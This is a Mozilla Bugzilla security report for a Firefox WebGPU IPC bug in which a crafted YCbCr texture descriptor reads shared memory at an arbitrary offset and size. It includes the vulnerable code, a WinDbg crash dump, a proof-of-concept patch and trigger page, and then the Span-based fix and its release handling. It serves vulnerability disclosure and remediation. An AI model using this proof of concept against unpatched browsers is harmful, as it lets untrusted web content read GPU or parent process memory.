Closed Bug 1994022 (CVE-2025-13025) Opened 1 year ago Closed 1 year ago

arbitrary size shared memory infoleak using webgpu IPC

Categories

(Core :: Graphics: WebGPU, defect, P1)

defect

Tracking

()

RESOLVED FIXED
146 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- disabled
firefox144 --- wontfix
firefox145 + fixed
firefox146 + fixed

People

(Reporter: oskarlindberg348, Assigned: jnicol)

References

Details

(Keywords: csectype-bounds, reporter-external, sec-high, Whiteboard: [client-bounty-form][adv-main145+])

Attachments

(2 files, 1 external file)

Writeup follows

Flags: sec-bounty?

Background

Similarly to bug 1992032
we can use external textures is by sending CreateExternalTextureSource message onto the WebGPUParent actor.

Vulnerability

By creating an external texture with TSurfaceDescriptorBuffer descriptor type,

/* static */ ExternalTextureSourceHost ExternalTextureSourceHost::Create(
    WebGPUParent* aParent, RawId aDeviceId, RawId aQueueId,
    const ExternalTextureSourceDescriptor& aDesc) {
  const auto& sd = aDesc.mSurfaceDescriptor;
  switch (sd.type()) {
    case layers::SurfaceDescriptor::TSurfaceDescriptorBuffer: {
      const layers::SurfaceDescriptorBuffer& bufferDesc =
          sd.get_SurfaceDescriptorBuffer();
      auto source =
          CreateFromBufferDesc(aParent, aDeviceId, aQueueId, aDesc,
                               bufferDesc.desc(), GetAddressFromDescriptor(sd));
      if (bufferDesc.data().type() == layers::MemoryOrShmem::TShmem) {
        aParent->DeallocShmem(bufferDesc.data().get_Shmem());
      }
      return source;
    } break;

When we create the SourceHost from the descriptor, we call CreateFromBufferDesc,
which in the case of a TYCbCrDescriptor descriptor, tries to extract the different planes and copy it onto a webgpu rust created texture via createPlane:

ExternalTextureSourceHost::CreateFromBufferDesc(
    WebGPUParent* aParent, RawId aDeviceId, RawId aQueueId,
    const ExternalTextureSourceDescriptor& aDesc,
    const layers::BufferDescriptor& aSd, uint8_t* aBuffer) {
    ...
    case layers::BufferDescriptor::TYCbCrDescriptor: {
      const layers::YCbCrDescriptor& yCbCrDesc = aSd.get_YCbCrDescriptor();
      const gfx::IntSize ySize =
          layers::ImageDataSerializer::SizeFromBufferDescriptor(aSd);
      const gfx::IntSize cbCrSize =
          layers::ImageDataSerializer::GetCroppedCbCrSize(aSd);

      ffi::WGPUTextureFormat planeFormat;
      switch (yCbCrDesc.colorDepth()) {
        case gfx::ColorDepth::COLOR_8:
          planeFormat = {ffi::WGPUTextureFormat_R8Unorm};
          break;
        case gfx::ColorDepth::COLOR_10:
        case gfx::ColorDepth::COLOR_12:
        case gfx::ColorDepth::COLOR_16:
          gfxCriticalNoteOnce << "Unsupported color depth: "
                              << yCbCrDesc.colorDepth();
          aParent->ReportError(
              aDeviceId, dom::GPUErrorFilter::Internal,
              nsPrintfCString(
                  "Unsupported color depth: %s",
                  mozilla::ToString(yCbCrDesc.colorDepth()).c_str()));
          return CreateError();
      }

      createPlane(aDesc.mTextureIds[0], aDesc.mViewIds[0], planeFormat, ySize,
                  aBuffer + yCbCrDesc.yOffset(), yCbCrDesc.yStride()); // [1]
      createPlane(aDesc.mTextureIds[1], aDesc.mViewIds[1], planeFormat,
                  cbCrSize, aBuffer + yCbCrDesc.cbOffset(),
                  yCbCrDesc.cbCrStride());
      createPlane(aDesc.mTextureIds[2], aDesc.mViewIds[2], planeFormat,
                  cbCrSize, aBuffer + yCbCrDesc.crOffset(),
                  yCbCrDesc.cbCrStride());
      usedTextureIds.AppendElements(aDesc.mTextureIds.data(),
                                    aDesc.mTextureIds.size());
      usedViewIds.AppendElements(aDesc.mViewIds.data(), aDesc.mViewIds.size());
      colorSpace = gfx::ToYUVRangedColorSpace(yCbCrDesc.yUVColorSpace(),
                                              yCbCrDesc.colorRange());
    }
  1. An arbitray buffer offset is being added onto the aBuffer (shmem base after fixing 1992032).
    A texture is being created and copied from calculated address, reading out of bounds with arbitrary size.

Implications

This is a shared memory read with arbitray offset and size, which can be later used for further webgpu usages and retrieved to the user.
This vulnerability is cross platform, and firefox latest.

Windbg dump

(819c.5c30): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
VCRUNTIME140!memcpy_avx_ermsb_amd+0x167:
00007ffe`08f80aa7 c5fe6f02        vmovdqu ymm0,ymmword ptr [rdx] ds:000001f1`23adffff=??
0:092> r
rax=000001f025980000 rbx=000001f012ae9e90 rcx=000001f025980000
rdx=000001f123adffff rsi=000001f123adffff rdi=0000000000000000
rip=00007ffe08f80aa7 rsp=000000ef43c2c3a8 rbp=000000ef43c2c430
 r8=0000000000000100  r9=000001f025980000 r10=00007ffe08f70000
r11=0000000000001000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010287
VCRUNTIME140!memcpy_avx_ermsb_amd+0x167:
00007ffe`08f80aa7 c5fe6f02        vmovdqu ymm0,ymmword ptr [rdx] ds:000001f1`23adffff=??

Attached is an image which has the stack trace for the windbg in the copy operation onto the texture backing store.

Reproduction

  1. Apply the following patch:
diff --git a/dom/webgpu/Adapter.cpp b/dom/webgpu/Adapter.cpp
index 87d7e8747da1..f81f5589f670 100644
--- a/dom/webgpu/Adapter.cpp
+++ b/dom/webgpu/Adapter.cpp
@@ -652,6 +652,10 @@ already_AddRefed<dom::Promise> Adapter::RequestDevice(
     ffi::WGPUDeviceQueueId ids =
         ffi::wgpu_client_request_device(GetClient(), GetId(), &ffiDesc);
 
+
+    GetChild()->FlushQueuedMessages(); // Create device and queue.
+    GetChild()->TriggerArbRead(ids.device, ids.queue); // Arbitary read.
+
     auto pending_promise = WebGPUChild::PendingRequestDevicePromise{
         RefPtr(promise), ids.device, ids.queue, aDesc.mLabel, RefPtr(this),
         features,        limits,     mInfo,     lost_promise};
diff --git a/dom/webgpu/ipc/WebGPUChild.cpp b/dom/webgpu/ipc/WebGPUChild.cpp
index 6dac8e0700c9..daedf356396a 100644
--- a/dom/webgpu/ipc/WebGPUChild.cpp
+++ b/dom/webgpu/ipc/WebGPUChild.cpp
@@ -10,6 +10,7 @@
 #include "Adapter.h"
 #include "CompilationInfo.h"
 #include "DeviceLostInfo.h"
+#include "ImageTypes.h"
 #include "PipelineLayout.h"
 #include "Sampler.h"
 #include "Utility.h"
@@ -25,6 +26,12 @@
 #include "mozilla/dom/Promise.h"
 #include "mozilla/dom/ScriptSettings.h"
 #include "mozilla/dom/WebGPUBinding.h"
+#include "mozilla/gfx/Filters.h"
+#include "mozilla/gfx/Point.h"
+#include "mozilla/gfx/Rect.h"
+#include "mozilla/gfx/Types.h"
+#include "mozilla/ipc/Shmem.h"
+#include "mozilla/layers/LayersSurfaces.h"
 #include "mozilla/webgpu/ComputePipeline.h"
 #include "mozilla/webgpu/InternalError.h"
 #include "mozilla/webgpu/OutOfMemoryError.h"
@@ -84,6 +91,30 @@ RawId WebGPUChild::RenderBundleEncoderFinishError(RawId aDeviceId,
   return id;
 }
 
+void WebGPUChild::TriggerArbRead(RawId deviceId, RawId queueId) {
+  auto desc = ExternalTextureSourceDescriptor();
+
+  const auto sourceId =
+      ffi::wgpu_client_make_external_texture_source_id(GetClient());
+
+  const auto textureId = ffi::wgpu_client_make_texture_id(GetClient());
+  desc.mTextureIds.at(0) = RawId(textureId);
+  auto shmem = ipc::Shmem();
+  AllocShmem(0x10000, &shmem);
+  auto mem = layers::MemoryOrShmem(shmem);
+  auto sdb = layers::SurfaceDescriptorBuffer(
+      layers::YCbCrDescriptor(
+          gfx::IntRect(0, 0, 0x100, 0x100), gfx::IntSize(0x1000, 1), 0x1000,
+          gfx::IntSize(0x1000, 1), 0x1000, 0xffffffff, 0, 0,
+          StereoMode::BOTTOM_TOP, gfx::ColorDepth::COLOR_8,
+          gfx::YUVColorSpace::Default, gfx::ColorRange::FULL,
+          gfx::ChromaSubsampling::FULL),
+      mem);
+  desc.mSurfaceDescriptor = sdb;
+
+  SendCreateExternalTextureSource(deviceId, queueId, RawId(sourceId), desc);
+}
+
 namespace ffi {
 void wgpu_child_send_messages(WGPUWebGPUChildPtr aChild, uint32_t aNrOfMessages,
                               struct WGPUByteBuf aSerializedMessages) {
diff --git a/dom/webgpu/ipc/WebGPUChild.h b/dom/webgpu/ipc/WebGPUChild.h
index bece8f1e3967..a0cba39e7110 100644
--- a/dom/webgpu/ipc/WebGPUChild.h
+++ b/dom/webgpu/ipc/WebGPUChild.h
@@ -55,6 +55,7 @@ class WebGPUChild final : public PWebGPUChild {
   NS_INLINE_DECL_THREADSAFE_REFCOUNTING(WebGPUChild, override)
 
  public:
+  void WebGPUChild::TriggerArbRead(RawId deviceId, RawId queueId);
   friend class layers::CompositorBridgeChild;
 
  public:


  1. host the triggering html:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>WebGPU Triangle</title>
    <style>
        body {
            margin: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: #222;
        }
        canvas {
            border: 1px solid white;
        }
    </style>
</head>
<body>
    <canvas id="webgpu-canvas" width="600" height="400"></canvas>
    
    <script type="text/javascript">
        if (!navigator.gpu) {
            document.body.innerHTML = `
                <div style="color: white; text-align: center;">
                    <h1>Error: WebGPU Not Supported</h1>
                    <p>Your browser does not support WebGPU. Please use a compatible browser like Google Chrome, Microsoft Edge, or Firefox.</p>
                </div>
            `;
        }

        async function initWebGPU() {
                // Get the GPU adapter and device
                const adapter = await navigator.gpu.requestAdapter();
                const device = await adapter.requestDevice();

                // Get the canvas and context
                const canvas = document.getElementById('webgpu-canvas');
                const context = canvas.getContext('webgpu');
                const presentationFormat = navigator.gpu.getPreferredCanvasFormat();
                
                context.configure({
                    device,
                    format: presentationFormat,
                });


        }

        initWebGPU();
    </script>
</body>
</html>
Attached image windbg stack trace —
Group: firefox-core-security → gfx-core-security
Component: Security → Graphics: WebGPU
Product: Firefox → Core
See Also: → CVE-2025-13023
Severity: -- → S2
Priority: -- → P1
Assignee: nobody → jnicol
Attached file (secure) —

Comment on attachment 9519992 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Not too hard. Replacing uint8_t* arithmetic with Span method calls does suggest that the pointer arithmetic was interesting to play with.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: fx143, fx144, fx145
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: They'll be easy to create. None of the changes are risky.
  • How likely is this patch to cause regressions; how much testing does it need?: Very unlikely to cause regressions. We're simply replacing pointer arithmetic with the equivalent operations on mozilla::Span, which performs bounds checks.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9519992 - Flags: sec-approval?

Comment on attachment 9519992 [details]
(secure)

Beta/Release Uplift Approval Request

  • User impact if declined/Reason for urgency: Security hole: an untrusted content process could read memory of its choice from the GPU process, or (in Nightly) the parent process
  • Is this code covered by automated tests?: Yes
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: Bug 1992032
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): This patch simply replaces C++ pointer arithmetic with equivalent uses of mozilla::Span, which performs bounds checks.
  • String changes made/needed: none
  • Is Android affected?: No
Attachment #9519992 - Flags: approval-mozilla-release?
Attachment #9519992 - Flags: approval-mozilla-beta?

Comment on attachment 9519992 [details]
(secure)

Approved to land and request uplift

Attachment #9519992 - Flags: sec-approval? → sec-approval+
Pushed by jnicol@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/109489f1e1fb https://hg.mozilla.org/integration/autoland/rev/3e6c8f51979e Use Span for ExternalTextureSourceHost::CreateFromBufferDesc. r=webgpu-reviewers,jimb
Pushed by csabou@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/e3cddd698ceb https://hg.mozilla.org/integration/autoland/rev/4038be33f96e Revert "Bug 1994022 - Use Span for ExternalTextureSourceHost::CreateFromBufferDesc. r=webgpu-reviewers,jimb" for causing mda failures on test_standalone.

Backed out for causing mda failures on test_standalone.

Push with failures

Failure log

Backout link

Flags: needinfo?(jnicol)

I don't think that failure has anything to do with my patch, I doubt this code is even being executed. And the test is failing very frequently anyway.

Flags: needinfo?(jnicol)
Pushed by jnicol@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/e4bf0c007d9a https://hg.mozilla.org/integration/autoland/rev/29e44ef2e26c Use Span for ExternalTextureSourceHost::CreateFromBufferDesc. r=webgpu-reviewers,jimb
Group: gfx-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 1 year ago
Resolution: --- → FIXED
Target Milestone: --- → 146 Branch
Attachment #9519992 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
QA Whiteboard: [sec] [uplift] [qa-triage-done-c146/b145]
Flags: sec-bounty? → sec-bounty+

Comment on attachment 9519992 [details]
(secure)

Rejecting release uplift request, Fx144 set to wontfix

Attachment #9519992 - Flags: approval-mozilla-release? → approval-mozilla-release-
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main145+]
Alias: CVE-2025-13025
See Also: → 2040782
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: